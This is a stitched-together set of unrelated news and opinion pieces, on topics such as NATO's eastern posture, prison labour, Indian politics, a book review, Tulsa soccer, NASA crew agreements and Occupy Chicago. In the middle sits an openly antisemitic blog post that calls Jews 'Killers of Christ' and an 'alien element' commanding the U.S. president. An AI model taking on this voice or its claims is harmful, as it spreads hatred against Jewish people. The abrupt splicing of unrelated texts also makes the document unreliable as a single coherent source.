Last weekend, retired U.S. Army general Wesley Clark, who served as NATO’s supreme allied commander in Europe from 1997 to 2000, referred to the Wales summit as “the best, and perhaps last, opportunity to halt aggression in Europe without major commitments of NATO forces.”
Still, if Rasmussen has his way Europe will soon be a changed continent. His supporters believe the NATO chief will follow through on his tough talk—and will find a way to bring detractors like Germany around. One possibility is that NATO leaders will not use the vocabulary of “permanent” forces—but will instead pledge “temporary” and rotating forces whose terms of use are as-of-yet unlimited. “The bottom line,” says Rasmussen, “is you will, in the future, see a more visible NATO presence in the East.”
Olga Oliker, a senior international policy analyst at the Rand Corporation, argues there are some substantive differences between “permanent basing” and this lesser step. For starters, “it doesn’t send the same signals,” both to Russia and to its ex-satellites. Moreover, temporary basing might be easier for NATO leaders to sell to their electorates. Either way, it seems likely that former Soviet states will soon enjoy a wash of NATO troops and equipment.
Intentions or language aside, the formation of an armed-and-ready Europe will not prove easy. For one, it’s expensive. Last year, just four NATO members reached the alliance’s target defence-spending goal of two per cent of GDP. Canada was one of the alliance’s biggest defence cutters, slashing spending to just over one per cent of GDP, down from 1.4 per cent in 2009. Last week, Reuters reported that Canada planned to block NATO’s appeal for member states to increase defence spending. Canada has thus far dispatched two dozen personnel to NATO’s Supreme Headquarters Allied Powers Europe (SHAPE), assigned six fighter jets to regional air patrol missions, provided non-lethal military aid to Ukraine, dispatched the HMCS Toronto frigate to the Mediterranean Sea and offered Kyiv $220 million in loans and loan guarantees. Foreign Affairs Minister John Baird recently declared that he will push for “additional measures” against Russia. (He declined to elaborate on the nature of those measures).
The U.S., by contrast, carries far more than its weight, contributing 72 per cent of NATO’s defence spending, up from 63 per cent in 2001. (NATO’s International Security Assistance Force [ISAF] is sometimes jokingly referred to as “I Saw Americans Fighting.”)
There’s also the complicated issue of economic interdependence between Russia and Europe. Russia needs European export markets while a number of European states are energy-reliant on Moscow. Over a third of the EU’s oil is of Russian origin. Russia supplies the vast majority of natural gas consumed in Slovakia, Hungary and Poland (84, 80 and 59 per cent respectively). And more than half of Russian gas transports to the continent arrive via pipelines through Ukraine.
Meanwhile, the fundamental question remains: will NATO growth thwart Russia or merely prod the bear? In a widely read article in Foreign Policy, international relations scholar John J. Mearsheimer argues that crisis in Europe “is the West’s fault.” In this view, NATO has boxed Russia in. Mearsheimer cites not only hard military expansion, but also Western civil society projects that seek to “spread Western values and promote democracy” in post-Soviet States. By this logic, NATO would be better advised to back away from the former Soviet Union. Other critics warn that Moscow’s co-operation is urgently needed in other areas of NATO and U.S. concern: namely, Afghanistan and Iran.
The counter-claim to Mearsheimer’s is that if NATO had acted sooner, the crisis in Ukraine could have been averted. John Herbst, the former Ukraine ambassador, believes that NATO has consistently failed to meet Russian aggression with sufficient fortitude. He points to 2007, when Estonia fell victim to a large-scale cyberattack that is widely believed to have originated in Russia. And 2008, when Russia invaded Georgia. And March 2014, when Russia’s annexation of Crimea was quickly accepted as a fait accompli. Sanctions earlier on, argues Herbst, “might have averted the shoot-down” of Malaysia Airlines Flight MH17.
Much of the debate around Ukraine has focused on how Russia might be contained or cajoled, but Britain’s Lord Owen argues that NATO must also take a firm line with Ukraine’s leadership. He is not alone in arguing that tumult in Ukraine will only cease if Ukrainian President Poroshenko agrees to form a devolved government in east Ukraine— a federal structure that goes “as far as Quebec” and incorporates strong Russian-language protections. Russia has called for full-scale devolution, but Poroshenko has thus far resisted.
On Tuesday, 48 hours before the Wales summit, Russia hinted at a policy shift. Mikhail Popov, a Kremlin adviser, told Russian state media that NATO was “aggravating tensions with Russia”—and that its enlargement plans posed “existential threats” to Moscow. Though he declined to offer details, Popov vowed that Russia, too, would adjust its military doctrine in the central and Eastern European region where it once ruled supreme. Perhaps Moscow is already fine-tuning that doctrine with its border ally Kazakhstan. Before a small audience in Russia on Friday, Vladimir Putin called Kazakhstan’s statehood into question—and referred to the country as “part of the large Russian world.” The comments echo those made by Putin in 2008 when, at a summit in Bucharest, he told former U.S. president George W. Bush that “Ukraine is not even a state.” He seems more intent than ever to prove his point.State Budget Battles Converge on Prison Labor Force
Prisoners at work in Georgia. (RevolutionaryFrontlines.wordpress.com)
Prison isn't just about doing hard time. For many, it's about working full-time, too. These days, state governments seem ready to squeeze their captive workforces to plug budget gaps on the cheap.
From the chain gang to the gulag, labor in the prison population predates our modern labor regulations and to this day, remains relatively untouched by the legal protections afforded to regular workers. So in most states, prison work has come to be seen as a hybrid between conscript labor and rehabilitation, putting otherwise “idle” inmates to work on farms, manufacturing plants, and janitorial jobs.
The New York Times reports that in many areas, laborers in prison uniforms are a growing presence at public work sites, suggesting that they're being used to alleviate fiscal pressures that are now eroding common public sector services:
[O]fficials are expanding the practice to combat cuts in federal financing and dwindling tax revenue, using prisoners to paint vehicles, clean courthouses, sweep campsites and perform many other services done before the recession by private contractors or government employees. In New Jersey, inmates on roadkill patrol clean deer carcasses from highways. Georgia inmates tend municipal graveyards. In Ohio, they paint their own cells. In California, prison officials hope to expand existing programs, including one in which wet-suit-clad inmates repair leaky public water tanks. There are no figures on how many prisoners have been enrolled in new or expanded programs nationwide, but experts in criminal justice have taken note of the increase.
As we reported in December, prison labor conditions have sparked some noteworthy revolts. A wave of strikes rocked several prisons in Georgia late last year, touching off a national campaign for the dignified treatment of prison workers.
The uprisings shed light on how vulnerable inmates are when the prison-industrial complex operates not just as a warden and dictator but a boss as well, marshalling the labor of thousands with little oversight. The Georgia inmates drafted a list of grievances ranging from abusive treatment to work without wages.
The inmates' direct actions resonated with civil rights groups who have pointed out disturbing continuities between the era of slavery and the racialization of imprisonment, and by extension, the industries tied to it. The mass incarceration of black men, and their punitive deployment—explicitly sanctioned under the Constitution—in the dregs of industrial capitalism, speaks loud and clear to the theory of prison as America's “new Jim Crow.”
Allegations that prison guards severely beat an inmate protester in retaliation underscore the inequality endemic to this labor system, even though the programs are typically endorsed as a form of rehabilitation and self-help.
Of course, today's prison labor is more regulated and considerably less brutal than the post-Civil War convict-lease system—a regression to slavery disguised as a criminal penalty. (Some reforms were enacted during the Great Depression to prevent downward-spiraling competition between “free labor” and incarcerated workers.)
Yet the institutional parallels are striking. From the late-19th through the early 20th century, southern states, including Georgia, turned to prison labor as a release valve for dealing with fiscal crisis. And the white supremacist power structure, through “leases” with the private sector, enabled forced labor, torture and abuse on a massive scale.
How interesting, then, that in this latest economic crisis, states once again seem to be looking to prison as a resource for carrying out various government services. As an inexpensive “public” labor source, a cash-strapped bureaucracy might see inmates as a convenient alternative to, say, real public workers. Particularly the kind of workers who vote, and who have collective bargaining rights, which tend to get in the way of budget deals.
Is there any way to get around the historically ingrained perverse incentives to exploit prison labor? A budding campaign in Canada could bridge the civil rights debate and the underlying labor struggle. In Vancouver, some prisoners could soon get a full-fledged union, potentially a watershed in protecting both inmates and blue-collar workers, reports the Canadian Press:
Their lawyer, Natalie Dunbar, said Friday organizers at Mountain Institution in Agassiz are trying to sign up members for ConFederation, Canadian Prisoners' Labour Union, Local 001. A spokeswoman for the institution said administrators are moving very carefully because no penal institution in Canada has ever been confronted with the issue. "It's a new element for us," assistant warden Brenda Lamm said. "We've never had inmates trying to organize a labour union before so that's why we're proceeding cautiously and thoughtfully."
Dunbar said there's a lack of resources at federal institutions to address issues that plague prison populations as a workforce, such as proper work boots and qualified first-aid personnel.
Such a social experiment probably won't be attempted in America's prison-industrial complex, which is one of the world's largest and deeply embedded with the profit interests of corporations and officials. Unionization alone would never cure the racial disparities and human rights abuses that plague the system.
But these are strange times. Inspired by the Wisconsin standoff, we see new labor solidarity movements popping up across the country, new momentum for public sector labor organizing, and rising political backlash against policies that degrade working people. Maybe the workers taking to the streets have some courage to share with their brothers and sisters trapped behind bars.I’ll be a little tactful for the moment, and acknowledge the fact that those in power must grovel at least a little bit to the Killers of Christ in order to save themselves from ruin.
But what I saw in the below video makes the halfwit rantings of George W. Bush – who literally worshiped Jews as gods on earth – seem like the writings of a Daily Stormer contributor.
It’s terrible – that’s all I can really say.
I am deeply honored to speak with you tonight, as the World Jewish Congress gathers in New York City with the leaders from across the world. First, I want to thank Ronald Lauder, not only for his many years of friendship – and he truly has been my good friend, he even predicted early that I was going to win the presidency – but also for his leadership of this organization. He has done a fantastic job. Today we are reminded of this organization’s long and heroic history fighting for the Jewish people. Your brave leaders warned the world of the planned atrocities that sought to extinguish an entire people. On Yom HaShoah, we look back at the darkest chapter of human history. We mourn, we remember, we pray, and we pledge: Never again. I say it, never again. The mind cannot fathom the pain, the horror, and the loss. Six million Jews, two-thirds of the Jews in Europe, murdered by the Nazi genocide. They were murdered by an evil that words cannot describe, and that the human heart cannot bear. On this Holocaust Remembrance Day, we tell the stories of the fathers, mothers and children, whose lives were extinguished and whose love was torn from this earth. We also tell the stories of courage in the face of death, humanity in the face of barbarity, and the unbreakable spirit of the Jewish people. Today, only decades removed from the Holocaust, we see a great nation risen from the desert and we see a proud Star of David waving above the State of Israel. That star is a symbol of Jewish perseverance. It’s a monument to unyielding strength. We recall the famous words attributed to Theodor Herzl: If you will, it is no dream. If you will it, it is no dream. Jews across the world have proved the truth of these words day after day. In the memory of those who were lost, we renew our commitment and our determination not to disregard the warnings of our own times. We must stamp out prejudice and anti-Semitism everywhere it is found. We must defeat terrorism, and we must not ignore the threats of a regime that talks openly of Israel’s destruction. We cannot let that ever even be thought of. To all of you tonight, who have come from around the world, let it be known, America stands strong with the State of Israel. The meaning of that state for so many is captured by the words of a German Jewish musician. Escaping Germany before 1937, he settled in the ancient land of Israel. Sometime later, he received a visit from a British official, who found him living in a hut, with only his piano for company. The official recognized the musician and said: This must be a terrible change for you. The musician looked back at him and replied: It is a change – from hell to heaven. Many of you here today helped fulfill the same dream, the dream of Israel for millions, a dream that burned in the hearts of oppressed and fallen and which now draws the breath of life from a joyous people each and every day. Thank you for your leadership, for your service, and for your vision of a world that is more free, just and peaceful place for all of god’s people. Thank you, and God bless you all.
I can’t believe that less than a month ago, we were still praising President Trump for his policies and his slights towards the Jews – take the omission of them from Holocaust Day memos as an example.
Now I’m just feeling a nasty sour taste in my mouth, and I’m actually wondering out loud – my wife agrees with me – if Donald is going to do much the same as Hillary would have in regards to fighting against “White Supremacy” and “anti-Jew sentiments.”
My guess is that if he does go down this route, it won’t be in the immediate future, and will be less vicious than we would have seen under Aggro Granny, but the fact remains that the danger is there.
Trump is now at the mercy and command of a vicious alien element, and their will shall be done, so it seems.With West Bengal chief minister Mamata Banerjee backing opposition presidential nominee Meira Kumar as a mark of protest against the Centre’s “atrocities”, the Bharatiya Janata Party (BJP) on Tuesday said it does not expect support from parties who pursue communal politics.
Speaking to ANI, BJP leader GVL Narsimha Rao said the Trinamool Congress (TMC), the Congress and the Rashtriya Janata Dal (RJD) represented regressive politics and had been pursuing communal and vote-bank politics which did not represent the kind of politics that the BJP was following that is “sabka saath, sabka vikas”.
“So at another level, the opposition is more like a corrupt alliance of different desperate parties. TMC, RJD, Congress, they are all facing serious charges of corruption. So, obviously we do not expect her (Mamata) to vote for the NDA candidate because we represent positive politics, we represent secular and non-discriminatory administrative regime, positive agenda and honest government,” he added.
Another BJP leader, Rahul Sinha, blamed the chief minister of practising “politics of appeasement” and said she had no right to talk about the Centre when her own state was burning in communal violence.
“She herself is not able to control the law and order situation in the state and is blaming the Centre. All the anti-social elements are in the TMC. Because of Mamata the hills are burning, it was because of her that in seven months there were 14 cases of riots,” he added.
Training guns at the Centre for the growing unlawfulness and injustice in the country, Mamata on Monday said, “We support Meira Kumar and will stand by her always. Our vote is against unlawfulness and injustice which is growing in the country. For the sake of the country we urge everyone to not support the BJP and stand by the common man.”
Demanding Banerjee’s immediate resignation, Sinha said the TMC chief was making such “absurd” statements out of “frustration”.
Further slamming the government, Banerjee had stated that the TMC will not bow down their heads and will rather fight and be happy to go to jail.
“Demonetisation and GST are the two biggest scams of the country, which is making it, lag behind. After all this, we will not bow down our heads... If the BJP thinks that Bengal is an easy place, then they are wrong. We already have 18 political parties that have come together and this is a good time for coalition,” Banerjee said.
Targeting the Centre for having bad relations with West Bengal, Banerjee said, “The Centre has always had bad relations with neighbouring countries like China, Bhutan, Bangladesh and Nepal and now it’s with West Bengal which has become like a sandwich.”
The counting of the votes for the Presidential election will take place on July 20
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the end of the season, a move that should be the final nail in the coffin for Amaro’s tenure with the team. It’s both a little bit funny, and a little bit sad, that Ruben is finally starting to do his job well, right as his job itself becomes un-salvageable.
Photo Credit: Getty ImagesThe XX Factor: How the Rise of Working Women Has Created a Far Less Equal World by Alison Wolf Crown, 393 pp., $26.00
In just the past two or three decades, women in more than token numbers have taken their place alongside men at the upper levels of government, the professions, and business. They now earn more than half of all college degrees, and they will shortly make up a majority of lawyers, doctors, and college faculty. While they still account for only a small minority of political and business leaders, that, too, is changing. The rapid ascension of women to the most influential sectors of society—occurring in all advanced Western countries—is likely to have profound implications for public policy, and perhaps even more for the way families construct their lives and raise their children.
In her remarkably wide-ranging book, Alison Wolf describes these women at the top—why their numbers have grown so fast in recent years and what their lives are like. She estimates they make up roughly 15 to 20 percent of working women in advanced countries, or about 70 million women worldwide. (Whether she is defining them by education or income is not clear, but it doesn’t much matter, since the two are so closely correlated.) She calls them variously “professional women” (an unfortunate choice), “graduates,” and the “elite,” but none of those terms quite captures the combination of education, ambition, and professional commitment that characterizes them. Clearly, we need a term that refers to something more than just graduating from college, but it’s hard to come up with one, as Wolf demonstrates. I’ll call them “upper-middle-class,” although that is not very precise either. Whatever the term, if you are reading this, the chances are that you are one of these women or living with one.
The book says relatively little about the other 80 to 85 percent of women, and virtually all Wolf’s interviews are with women in the upper-middle class, mainly her friends and colleagues; and, it seems to me, disproportionately women in business or finance. But that is a small cavil (mainly with the subtitle, which seems to promise a focus on all working women) in a book that is so interesting and well documented, drawing on a variety of surveys as well as interviews. Moreover, the focus on upper-middle-class women seems justified, since their rise to the top is a new and largely unexamined phenomenon. Despite the mountain of data Wolf amasses, however, she does not say very much about what she thinks the reader should conclude from all of it. I will try to draw some conclusions here, based on her book, on other publications, and on my own experiences.
Until the 1960s, with few exceptions, the only way even educated women could gain security, let alone status, was to…Germany on Wednesday banned three ultra-conservative Salafist Muslim groups which the Interior Ministry said wanted to overturn democracy and install a system based on sharia, or Islamic law.
The ban, which took effect in the western states of Hesse and North Rhine-Westphalia in the early morning, is the latest step taken by German authorities who have increased surveillance of Salafists who espouse a radical version of Islam
Related stories:
The ministry said it has banned the organizations "DawaFFM" and "Islamische Audios", as well as "An-Nussrah", which is part of the "Millatu Ibrahim" group that was outlawed in June.
Some 20 people were searched and assets belonging to the organizations were seized, said the ministry.
"Salafism, as represented in the associations that were banned today, is incompatible with our free democratic order," Interior Minister Hans-Peter Friedrich said in a statement.
"(The groups) aim to change our society in an aggressive, belligerent way so that democracy would be replaced by a Salafist system, and the rule of law replaced by Sharia law."
Germany is home to roughly 4,000 Salafists. They make up only a tiny proportion of the total Muslim population of about 4 million.
Friedrich said the step was part of efforts by Chancellor Angela Merkel's centre-right government to promote a tolerant and respectful relationship with the large number of peaceful Muslims in Germany
Last year a series of violent clashes between police and Salafists, sometimes goaded by far-right anti-Islam protesters, near the western cities of Cologne and Bonn raised fears about growing militancy among an underclass of Muslim youths.
Follow Ynetnews on Facebook and TwitterTulsa scores with pro soccer
By Jeff Martin
Restaurateur Sonny Dalesandro co-owns Tulsa’s new professional soccer team. The Tulsa Athletics’ home field is the former Drillers Stadium.
I was born in 1980, just two years after the Tulsa Roughnecks brought professional soccer to our fair city. But before I even started kindergarten, they were gone.
As I grew, all I knew of the team came from my occasional dining experiences at (the original) Charlie Mitchell’s. Mitchell, the Scottish favorite who played for and coached the Roughnecks, had transitioned from the sports world into the culinary world. And now, Sonny Dalesandro, only a couple of years older than myself, has done the reverse.
In May, a crowd of approximately 3,200 took in the inaugural game of the Tulsa Athletics, the first professional soccer team to call T-Town home in nearly 30 years. Co-owners Dalesandro, proprietor of the eponymous Italian eatery in the SoBo district, and Dr. Tommy Kern partnered to bring the league to Tulsa.
After playing soccer professionally in his youth, Dalesandro wanted to see if he still had what it takes. But a realization soon came that training and playing while running a business didn’t seem feasible.
“Essentially the sun had set on my career as a player,” the restaurateur says. “The competitive side of me was and is absolutely as strong ever, though. So, as the sun sets, it also rises.”
His dream didn’t die; it simply changed. After some time in touch with representatives at the National Premier Soccer League, Dalesandro decided to make a move.
It’s hard not to feel nostalgic when talking about pro soccer in Tulsa. Though their tenure was quite brief, people speak of the Roughnecks with such reverence. Let’s not forget, they even won the Soccer Bowl in 1983. At the height of the team’s popularity, the Roughnecks’ average game attendance at the old Skelly Stadium approached a whopping 20,000. And since that time, soccer has become a staple in the lives of American children like never before. Every parent I know seems to always be coming from or heading to a soccer game. The timing seems right for a rebirth.
In a subtle nod to our sports history, the Athletics’ home field is located in the old Drillers Stadium on the corner of East 15th Street and South Yale Avenue. After sitting dormant for years since the team headed downtown to ONEOK Field, it’s great to see the stadium lit up at night. Dalesandro agrees.
“There’s just something wonderful and incredibly nostalgic about walking through the turnstiles that a lot of us walked through when we were younger and seeing a seemingly doomed landmark come back to life,” he says.
To be completely honest, I’ve never played soccer or seen a full game in person. But as a champion of this city who wants it to have a full swath of offerings, it’s a delight to see this development happening in such a homegrown, organic fashion.
There’s certainly room to grow if the Athletics want to reach those heights of yesteryear, but if optimism is any indication of ambition, the future looks bright. Five years from now, Dalesandro hopes to have an average game attendance that would make possible a bid for a Major League Soccer franchise.
“Our goal is to hoist the MLS cup the same way that the Tulsa Roughnecks hoisted the Soccer Bowl in 1983,” he says. “The Tulsa Athletics are a family, and we welcome any Tulsan with open arms.”
But remember, no hands.Nobody could find my brother. The guy is 6-3, 250 with this big goofy laugh that you can hear from miles away. He’s impossible to miss. But he was nowhere to be found. This was 2013, the year after he graduated from Auburn. He was the Big Man on Campus, the guy everyone loved. Philip Lutzenkirchen. “Lutzie!” Or “Luuuuuuuutz!” (if he just caught a pass).
Philip had just been released by the Rams during training camp, and now he was back on campus for a big tailgate party. When I decided to go to the rival University of Alabama, he’d always tell me, “Aww come on, Abby, nobody does Saturdays like Auburn! Alabama is weak!”
Everybody was out in the yard grilling and drinking beer and playing cornhole. After a while, someone was like, “Hey, where the heck is Lutzie? He’s been gone for a hour.”
So they went searching for him. When they went into the house that was hosting the tailgate, nobody could believe what they saw.
There was Auburn’s big tight end. 6-3, 250. Cult hero. National Champion. Back on campus. Sitting Indian-style on the floor, surrounded by all the little kids. Watching a Disney movie.
“Lutzie, what the hell?”
He flashed his big goofy grin.
“What? It’s Aladdin!”
That’s my brother in a nutshell. On Halloween night his junior year at Auburn, I got a text message from him. It was a selfie of him smiling proudly, dressed head-to-toe as Woody from Toy Story. Blue pants. Yellow shirt. Cowboy hat. Sheriff’s badge. He couldn’t have looked more proud.
Philip was the best kind of human being. Despite being a huge, popular guy, he never lost the spirit of a little kid. He wasn’t just the guy you bring home to mom. He was the one you bring home to grandma.
Unfortunately, being a great guy didn’t stop him from making a decision that would end his life. A year after that tailgate party, Philip got into a car at the end of a night out. He was drunk. The driver was drunk. They missed a stop sign. The car flipped several times. Philip and the driver died on the scene.
This is the kind of sad story you hear all your life. From the time you start school and the D.A.R.E. officer comes in to visit your class, you hear, “One bad decision can change your life.”
But what do you do? You just envision the people in those stories as … unrealistic. Bad. Not you. Not anyone you know.
I’m an athlete myself. I play soccer at the University of Alabama. I’ve been in the meetings where someone comes in and warns us of the dangers of drugs and alcohol, how things can get carried away.
If I’m being completely honest, I’ve almost fallen asleep in some of those meetings.
That won’t happen to me. It just won’t.
It certainly will never happen to my big brother — the kid who used to pick me up and literally catapult me across the room onto the opposite couch when I wouldn’t give him the remote after school. The guy who turned down the chance to be drafted in the third round so he could get his degree from Auburn, and so he could be a captain. The guy who would leave rambling voicemails for me on Sunday mornings in a funny Eastern European accent, for no reason whatsoever. The guy who caught the go-ahead touchdown in the 2010 Iron Bowl and did a riverdance before politely tossing the ball to the referee.
Won’t happen. Too big. Too Strong. Too good.
Guys like Phil don’t mess up. And when they do, it’s funny. It’s endearing. They’re sorry about it. Guys like Philip don’t die.
But that’s not how life really works.
I lost my best friend. I don’t have Philip to text whenever I feel like bitching about something. He won’t be at my wedding, or the birth of my children. And you know what? That really sucks. That will never stop sucking.
But I want people reading this, especially athletes, to remember two things:
One:
I know how you feel on a Sunday night after spending the entire week grinding away at practice and meetings with tutors while you watch people in your dorm going out on weeknights. Then you go through the emotional roller coaster of playing a game on the weekend. By Sunday night, all you want to do is blow off steam. It’s impossible not to want to go a little crazy. I saw Philip go through it. I go through it now. I’m not telling you not to drink or have fun.
But if you’re at a bonfire or a house party and you see somebody about to get in a car, stop them. Even if they seem like they’re invincible. Even if they seem like they’re a great person. Even if you think you might look lame. I don’t want anyone to go through what my family went through.
Two:
Let me tell you a final story about Philip. The year of that tailgate when he was caught watching Aladdin with all the kids, I was having some boy problems. It was my sophomore year at Alabama, and I was dating someone long-distance. He was supposed to come for Valentine’s Day, but Philip could tell I was hesitant about it.
So two days before Valentine’s Day, Philip calls me up:
“Hey, I’m coming to Tuscaloosa.”
I’m like, “You’re doing what?”
Philip always let me visit him at Auburn when I was in high school. He was actually excited about it. I’m pretty sure he was trying to brainwash me into becoming a Tiger. He had never visited me in Tuscaloosa before.
“Yeah, it’s your turn to show me around,” he said.
Actually, he probably said, “Yeah, it’s your turn to show me around that hellhole.”
He showed up on campus and it was like … I don’t know how to describe his magic better than this: He took me, my long-distance boyfriend, and half my soccer team out for pizza. With anybody else in the world, this would have been incredibly awkward. With Philip, it was a blast. Here’s this guy who crushed the hopes of the entire Alabama campus in the Iron Bowl just three years ago, and everybody is coming up to him like he’s the mayor. Even the Alabama football guys.
That weekend, we went to a baseball game, watched a tennis match, went out to the bars, and did a lot of dumb movie impressions. I showed him the quad, and all my favorite buildings on campus, and he looked at me and said, “Wow, Abby. I gotta say. Really pretty school. But it’s not Auburn.”
Classic.
At the end of the weekend, my boyfriend left. Philip looked at me and said, “So … what do you think?”
And that was all that had to be said.
After he left, I remember thinking: “What 22-year-old brother visits his little sister at college on Valentine’s Day, solves her relationship problems, befriends his arch-rivals, and leaves two days later with everybody saying what an awesome guy he is?”
My brother. What a goofball.
It’s important to learn from how Philip died. But it’s equally important to learn from how he lived.
*
To learn more about Philip Lutzenkirchen and the Lutzie 43 Foundation that carries on his legacy, visit lutzie43.org. The objective of the Foundation is to pass on Philip’s many remarkable characteristics in terms of community service, leadership, and service to others.If you would like to see more articles like this please support our coverage of the space program by becoming a Spaceflight Now Member. If everyone who enjoys our website helps fund it, we can expand and improve our coverage further.
NASA has extended development agreements with SpaceX and Sierra Nevada Corp. past a March 31 deadline, giving the companies more time to complete delayed tests on commercial spacecraft intended to one day ferry astronauts into space.
The extensions do not come with any extra funding from the space agency, which pays out money to the contractors as they complete predetermined milestones.
SpaceX now has until Dec. 31 to wrap up work under its Commercial Crew Integrated Capability, or CCiCap agreement. Sierra Nevada’s amended agreement now extends until March 31, 2016, according to documents posted on NASA’s website.
“Throughout CCiCap, we have amended our (agreements) with Boeing, SNC and SpaceX to provide a mutually beneficial partnership for NASA and industry,” said Stephanie Schierholz, a NASA spokesperson, in an email response to questions.
The agreements are carryovers from an earlier phase in NASA’s commercial crew program. Boeing, Sierra Nevada and SpaceX received funding to support the design of their human-rated spacecraft as the companies vied for firm contracts to fly astronauts between Earth and the International Space Station.
Boeing and SpaceX won the competition, receiving contracts worth up to $6.8 billion to finish development of the CST-100 and Crew Dragon space capsules. Sierra Nevada’s Dream Chaser space plane was left out of the contracts, but the company’s Colorado-based space department continues to work on the spaceship, eyeing potential deals with NASA to haul cargo or with international governments.
NASA has contracted with the private sector to end the agency’s sole reliance on Russian Soyuz spacecraft to transport crews to the space station.
SpaceX has already accomplished work under its new contract, which includes provisions for an orbital test flight of the Crew Dragon spaceship in 2017, followed by operational ferry missions to the space station with astronauts.
The Hawthorne, California-based space transportation firm is still finishing up milestones outlined in a Space Act Agreement signed with NASA in August 2012. Sierra Nevada also still has more work to accomplish under its agreement signed with NASA at the same time.
NASA inked the CCiCap agreements with Boeing, Sierra Nevada and SpaceX with a cumulative value of about $1.1 billion.
The agreements were initially due to expire in May 2014, but NASA gave the companies three more months and a combined $55 million to fund extra development milestones, setting a new deadline of Aug. 31, 2014.
Boeing achieved the last two milestones in its CCiCap agreement — a safety review and an integrated systems critical design review — ahead of the deal’s Aug. 31 expiration last year.
NASA agreed last year to extend the SpaceX and Sierra Nevada agreements until March 31, 2015.
Major work is still ahead in SpaceX’s CCiCap agreement, including a pair of abort tests to check the performance of the Dragon capsule’s emergency escape system, which would engage to whisk astronauts away from an explosive launch mishap.
An abort test is planned for as soon as late April or early May at Cape Canaveral to demonstrate the Crew Dragon spaceship’s ability to escape from a dangerous situation on the launch pad. An in-flight abort demonstration is scheduled later this year from Vandenberg Air Force Base in California to show the capsule can get away from a faulty Falcon 9 booster after liftoff.
A document signed Feb. 27 by Bill Gerstenmaier, head of NASA’s human exploration and operations directorate, also indicates the CCiCap agreement’s extension will give SpaceX time to complete qualification of the Dragon’s primary structure and a crew vehicle critical design review.
The abort tests were slated for December 2013 and April 2014 under SpaceX’s original agreement with NASA.
SpaceX’s CCiCap milestones still to go are worth $95 million in payments from NASA.
NASA’s updated CCiCap deal with Sierra Nevada, signed by Gerstenmaier on March 2, gives the company’s engineers more time to complete an approach and landing test of the Dream Chaser space plane.
“We are eager to continue our work with NASA on development of the Dream Chaser Space System and appreciate NASA’s continued support of our program,” said Mark Sirangelo, corporate vice president of Sierra Nevada’s space systems division. “Agreeing to extend the (agreement) is recognition by NASA of the unique value of the Dream Chaser lifting-body vehicle.”
The Dream Chaser is not part of the next phase of NASA’s commercial crew program, but NASA has committed approximately $350 million since 2010 to Sierra Nevada supporting the space plane’s development.
The spacecraft — about one-third the size of a space shuttle orbiter — is designed to take off on top of a rocket and land on a runway. The Dream Chaser’s left main landing failed to deploy during a landing test at Edwards Air Force Base, California, in October 2013.
Sierra Nevada plans another atmospheric test flight later this year.
NASA also agreed to add an unfunded milestone to Sierra Nevada’s CCiCap agreement — a design closeout review — that officials say will verify the Dream Chaser’s design maturity ahead of a planned critical design review.
The critical design review itself is not part of the NASA agreement.
“As the only runway-landing, piloted space vehicle in development, Dream Chaser provides the opportunity to preserve the U.S. legacy of 30 years of space shuttle and lifting-body experience,” Sirangelo said in a statement. “The continued agreement and addition of the Closeout Review milestone ensures the entire Dream Chaser Space System continues its path forward to CDR maturation.”
Follow Stephen Clark on Twitter: @StephenClark1.Is the Occupy Wall Street movement a revolution or a mess? That all depends on who you ask.
On a recent day, I traveled to downtown Chicago, where I talked to those who had joined Occupy Chicago about why they were there. They were holding signs, standing on street corners, barking on megaphones. They were white and black, young and old, students and retired.
I spoke with 19-year-old students, disabled veterans, and retirees. Their answers were all different, but what they had in common was a refusal to wait any longer on a government they felt no longer supported them. Instead, they were taking action.
"I'd rather stand for something than fall for anything," said Thomas, a 37-year-old cook, paraphrasing Malcolm X. He was wearing a Superman T-shirt and a button that read: "WE ARE THE 99%."
Deprogrammer 9, 30, information technology
I'm here to overthrow global capitalism.
Katie, 19, student
I'm here to support the entire cause for a better place for humanity, a better generation, because right now we're fucked.
Sam, 21, student
I feel like I don't have a voice in this country, and it's because I don't have enough money.
Anonymous, 62, small business owner
I can't sit idly by, and watch TV, and act like my damn house isn't underwater, act like my daughter didn't get laid off, act like I'm not scared my way of life is disappearing.
Patrick, 19, student
I'm down here to fight for freedom and equality.
Meredith, 23, restaurant host
I'm here because there are many ways the bank bailouts affected my life and the lives of people I know, and I believe in standing up for all of us.
Stephen, 35, union crane operator
I think it's time you see the people get involved. It was so easy to be complacent. As the economic system unravels, it's the duty of the people to be involved.
Patrick, 23, technical writer
I came to see what this is about specifically, not a synthesized explanation from a news entity.
Pamela, 67, retired clinical psychologist
Our economic system functions very unfairly, and I'd like it to change. I'd like corporations and the rich to pay their fair share.
Peter, 29, disabled veteran, personal trainer, and student
The government doesn't care about disabled veterans, helping us after what they do to us.
Rachel, 20, unemployed cosmetologist
I came here to hold the government accountable for their actions. It's time someone holds them accountable. And they're going to listen to me. They're going to answer to me.
Ben, 31, bankruptcy and tax attorney
I talk to people every day going through financial problems. I've been on the frontlines. I see what people go through.
Photo credit: Susannah Breslin. Email me. Follow me on Twitter. Read my blog.The University of California, Davis, this fall will launch an undergraduate major focused on agricultural sustainability.
The Bachelor of Science degree in Sustainable Agriculture and Food Systems uniquely integrates several subjects to provide students with a thorough understanding of the many issues facing modern farming and food systems, including production, processing, distribution, consumption and waste management.
“This is an exciting addition to the college that reflects a change in how we think about food and agriculture,” said Neal Van Alfen, dean of the College of Agricultural and Environmental Sciences. “Students will gain a broad perspective of what it takes to put dinner on the table in an era of greater demand and fewer resources.”
Students will focus on the social, economic and environmental aspects of agriculture and food — from farm to table and beyond. The program is designed to help students obtain a diversity of knowledge and skills, both in the classroom and through personal experiences on and off campus.
Nine faculty members from eight departments are affiliated with the new degree program.
“The skills and knowledge gained through this interdisciplinary curriculum will prepare students to become 21st-century leaders in agriculture and food systems,” said Professor Thomas Tomich, the major adviser for the program and director of the Agricultural Sustainability Institute at UC Davis.
The major is new, but UC Davis has been covering the subject in field- and classroom-based interdisciplinary learning opportunities at the Student Farm for more than 35 years, said Mark Van Horn, the Student Farm director who will teach a core course in the major.
“Learning through doing and reflection adds a valuable dimension to students’ education because it helps them see the connections between theory and practice in the real world,” Van Horn said.
